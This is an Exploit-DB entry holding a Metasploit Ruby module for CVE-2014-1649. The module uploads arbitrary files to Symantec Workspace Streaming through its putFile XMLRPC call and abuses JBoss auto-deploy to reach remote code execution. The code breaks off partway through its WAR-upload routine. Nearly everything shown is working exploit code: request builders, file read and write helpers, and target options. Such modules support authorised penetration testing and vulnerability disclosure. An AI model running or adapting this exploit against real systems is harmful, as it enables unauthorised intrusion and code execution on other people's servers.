Exploit-DB #33521
Description: Symantec Workspace Streaming - Arbitrary File Upload (Metasploit)
Type: remote
Platform: multiple
Date: 2014-05-26
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rexml/document'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include REXML

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Symantec Workspace Streaming Arbitrary File Upload',
      'Description' => %q{
        This module exploits a code execution flaw in Symantec Workspace Streaming. The
        vulnerability exists in the ManagementAgentServer.putFile XMLRPC call exposed by the
        as_agent.exe service, which allows for uploading arbitrary files under the server root.
        This module abuses the auto deploy feature in the JBoss as_ste.exe instance in order
        to achieve remote code execution. This module has been tested successfully on Symantec
        Workspace Streaming 6.1 SP8 and Windows 2003 SP2. Abused services listen on a single
        machine deployment, and also in the backend role in a multiple machine deployment.
      },
      'Author'       =>
        [
          'rgod <rgod[at]autistici.org>', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          ['CVE', '2014-1649'],
          ['BID', '67189'],
          ['ZDI', '14-127'],
          ['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20140512_00']
        ],
      'Privileged'  => true,
      'Platform'    => 'java',
      'Arch' => ARCH_JAVA,
      'Targets'     =>
        [
          [ 'Symantec Workspace Streaming 6.1 SP8 / Java Universal', {} ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'May 12 2014'))

    register_options(
      [
        Opt::RPORT(9855), # as_agent.exe (afuse XMLRPC to upload arbitrary file)
        OptPort.new('STE_PORT', [true, "The remote as_ste.exe AS server port", 9832]), # as_ste.exe (abuse jboss auto deploy)
      ], self.class)
  end

  def send_xml_rpc_request(xml)
    res = send_request_cgi(
      {
        'uri'     => normalize_uri("/", "xmlrpc"),
        'method'  => 'POST',
        'ctype'   => 'text/xml; charset=UTF-8',
        'data'    => xml
      })

    res
  end

  def build_soap_get_file(file_path)
    xml = Document.new
    xml.add_element(
        "methodCall",
        {
            'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions"
        })
    method_name = xml.root.add_element("methodName")
    method_name.text = "ManagementAgentServer.getFile"

    params = xml.root.add_element("params")

    param_server_root = params.add_element("param")
    value_server_root = param_server_root.add_element("value")
    value_server_root.text = "*AWESE"

    param_file_type = params.add_element("param")
    value_file_type = param_file_type.add_element("value")
    type_file_type = value_file_type.add_element("i4")
    type_file_type.text = "0" # build path from the server root directory

    param_file_name = params.add_element("param")
    value_file_name = param_file_name.add_element("value")
    value_file_name.text = file_path

    param_file_binary = params.add_element("param")
    value_file_binary = param_file_binary.add_element("value")
    type_file_binary = value_file_binary.add_element("boolean")
    type_file_binary.text = "0"

    xml << XMLDecl.new("1.0", "UTF-8")

    xml.to_s
  end

  def build_soap_put_file(file)
    xml = Document.new
    xml.add_element(
        "methodCall",
        {
            'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions"
        })
    method_name = xml.root.add_element("methodName")
    method_name.text = "ManagementAgentServer.putFile"

    params = xml.root.add_element("params")

    param_server_root = params.add_element("param")
    value_server_root = param_server_root.add_element("value")
    value_server_root.text = "*AWESE"

    param_file_type = params.add_element("param")
    value_file_type = param_file_type.add_element("value")
    type_file_type = value_file_type.add_element("i4")
    type_file_type.text = "0" # build path from the server root directory

    param_file = params.add_element("param")
    value_file = param_file.add_element("value")
    type_value_file = value_file.add_element("ex:serializable")
    type_value_file.text = file

    xml << XMLDecl.new("1.0", "UTF-8")

    xml.to_s
  end

  def build_soap_check_put
    xml = Document.new
    xml.add_element(
        "methodCall",
        {
            'xmlns:ex' => "http://ws.apache.org/xmlrpc/namespaces/extensions"
        })
    method_name = xml.root.add_element("methodName")
    method_name.text = "ManagementAgentServer.putFile"
    xml.root.add_element("params")
    xml << XMLDecl.new("1.0", "UTF-8")
    xml.to_s
  end

  def parse_method_response(xml)
    doc = Document.new(xml)
    file = XPath.first(doc, "methodResponse/params/param/value/ex:serializable")

    unless file.nil?
      file = Rex::Text.decode_base64(file.text)
    end

    file
  end

  def get_file(path)
    xml_call = build_soap_get_file(path)
    file = nil

    res = send_xml_rpc_request(xml_call)

    if res && res.code == 200 && res.body
      file = parse_method_response(res.body.to_s)
    end

    file
  end

  def put_file(file)
    result = nil
    xml_call = build_soap_put_file(file)

    res = send_xml_rpc_request(xml_call)

    if res && res.code == 200 && res.body
      result = parse_method_response(res.body.to_s)
    end

    result
  end

  def upload_war(war_name, war, dst)
    result = false
    java_file = build_java_file_info("#{dst}#